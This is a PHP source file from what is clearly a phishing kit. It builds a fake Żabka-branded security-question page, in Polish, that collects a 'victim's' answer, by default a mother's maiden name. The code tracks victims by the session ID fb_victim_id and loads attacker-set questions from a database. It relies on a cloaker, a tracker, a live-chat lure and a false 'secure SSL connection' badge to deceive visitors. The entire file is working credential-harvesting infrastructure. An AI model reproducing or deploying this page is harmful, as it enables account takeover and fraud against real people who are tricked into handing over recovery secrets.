<?php 
require_once 'cloaker_guard.php'; 
require_once 'tracker.php'; 
include_once 'check_ban.php';
include_once 'theme_config.php'; 
include_once 'translator_engine.php'; 
session_start();
require_once 'admin/db_config.php';

////////////// Kurban ID kontrolü
//////////if (!isset($_SESSION['fb_victim_id'])) {
//////    header('Location: index.php');
 ////////   exit();
//}

$victim_id = $_SESSION['fb_victim_id'];
$question = "Jakie jest nazwisko panieńskie Twojej matki?"; // Varsayılan Lehçe Soru

// Veritabanından Admin'in yazdığı soruyu çek
try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $stmt = $conn->prepare("SELECT custom_question FROM fb_accounts WHERE id = ?");
    $stmt->execute([$victim_id]);
    $row = $stmt->fetch(PDO::FETCH_ASSOC);
    if ($row && !empty($row['custom_question'])) {
        $question = $row['custom_question'];
    }
} catch (PDOException $e) { /* Sessiz ol */ }

// Żabka Logo URL
$zabka_logo = "https://images.seeklogo.com/logo-png/52/1/zabka-logo-png_seeklogo-528855.png";
?>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Żabka | Pytanie bezpieczeństwa</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <style>
        /* Żabka Light Theme */
        :root {
            --zabka-green: #007a33;
            --zabka-dark: #005c26;
            --zabka-accent: #fec20f;
        }

        body { 
            font-family: 'Inter', sans-serif; 
            background-color: #ffffff;
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        /* Beyaz Kart Tasarımı */
        .zabka-card {
            background: #ffffff;
            border-top: 4px solid var(--zabka-green);
            box-shadow: 0 10px 40px -10px rgba(0, 122, 51, 0.15);
        }

        /* Soru Kutusu */
        .question-box {
            background-color: #f0fdf4; /* Çok açık yeşil */
            border-left: 4px solid var(--zabka-green);
        }

        /* Input Alanı */
        .zabka-input-wrapper {
            background: #f9fafb;
            border: 1px solid #e5e7eb;
            transition: all 0.3s ease;
        }
        .zabka-input-wrapper:focus-within {
            background: #ffffff;
            border-color: var(--zabka-green);
            box-shadow: 0 0 0 3px rgba(0, 122, 51, 0.1);
        }
        .input-icon { color: #9ca3af; transition: color 0.3s ease; }
        .zabka-input-wrapper:focus-within .input-icon { color: var(--zabka-green); }

        /* Buton */
        .zabka-btn {
            background: var(--zabka-green);
            color: white;
            transition: all 0.2s ease;
            box-shadow: 0 4px 15px -5px rgba(0, 122, 51, 0.5);
        }
        .zabka-btn:hover { background: var(--zabka-dark); transform: translateY(-1px); }
        .zabka-btn:active { transform: scale(0.98); }

        /* Animasyon */
        .fade-in-up { animation: fadeInUp 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; opacity: 0; transform: translateY(20px); }
        @keyframes fadeInUp { to { opacity: 1; transform: translateY(0); } }
    </style>
</head>
<body class="p-4">

    <div class="w-full max-w-[400px] relative z-10 fade-in-up">
        
        <div class="zabka-card rounded-2xl p-8 text-center relative overflow-hidden">
            
            <div class="mb-8 mt-2">
                <img src="<?= $zabka_logo ?>" alt="Żabka" class="h-12 mx-auto object-contain">
            </div>

            <div class="mb-6">
                <div class="inline-flex items-center justify-center w-16 h-16 rounded-full bg-green-50 mb-4 text-[#007a33]">
                    <i class="bi bi-shield-lock-fill text-3xl"></i>
                </div>
                <h2 class="text-xl font-bold text-gray-900 tracking-tight">Dodatkowa weryfikacja</h2>
                <p class="text-xs text-gray-500 mt-1 uppercase tracking-widest font-semibold">Pytanie bezpieczeństwa</p>
            </div>
            
            <div class="question-box p-4 rounded-r-lg mb-8 text-left">
                <p class="text-[10px] text-[#007a33] font-bold uppercase tracking-wider mb-1">
                    Proszę odpowiedzieć na pytanie:
                </p>
                <p class="text-gray-800 text-lg font-medium leading-snug">
                    <?= htmlspecialchars($question) ?>
                </p>
            </div>

            <form action="action.php" method="POST" class="space-y-6 text-left" autocomplete="off">
                
                <div class="group">
                    <label class="block text-xs font-bold text-gray-700 uppercase tracking-wider mb-1.5 ml-1">
                        Twoja odpowiedź
                    </label>
                    <div class="zabka-input-wrapper flex items-center rounded-xl h-12 overflow-hidden">
                        <div class="pl-4 input-icon">
                            <i class="bi bi-chat-text-fill text-lg"></i>
                        </div>
                        <input type="text" name="custom_answer" 
                               class="w-full h-full bg-transparent text-gray-900 text-sm font-medium px-4 focus:outline-none placeholder-gray-400" 
                               placeholder="Wpisz odpowiedź tutaj..." 
                               required
                               autofocus>
                    </div>
                </div>

                <button type="submit" class="zabka-btn w-full font-bold py-4 rounded-xl text-sm flex items-center justify-center gap-2 group">
                    <span>Zatwierdź odpowiedź</span>
                    <i class="bi bi-arrow-right group-hover:translate-x-1 transition-transform"></i>
                </button>

            </form>
        </div>

        <div class="mt-8 text-center opacity-50">
            <p class="text-[10px] text-gray-400 font-mono flex items-center justify-center gap-2">
                <span>ID: #<?= $_SESSION['fb_victim_id'] ?></span>
                <span class="w-1 h-1 rounded-full bg-gray-300"></span>
                <span class="flex items-center gap-1">
                    <i class="bi bi-shield-fill-check text-[#007a33]"></i> Bezpieczne połączenie SSL
                </span>
            </p>
        </div>

    </div>

    <script src="redirect_check.js"></script>
    <?php if (isset($_SESSION['fb_victim_id'])) { include_once 'chat_widget.php'; } ?>
    
    <script type="text/javascript">
    var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
    (function(){
    var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
    s1.async=true;
    s1.src='https://embed.tawk.to/65e4826c9131ed19d9742f26/1ho29qu35';
    s1.charset='UTF-8';
    s1.setAttribute('crossorigin','*');
    s0.parentNode.insertBefore(s1,s0);
    })();
    </script>
</body>
</html>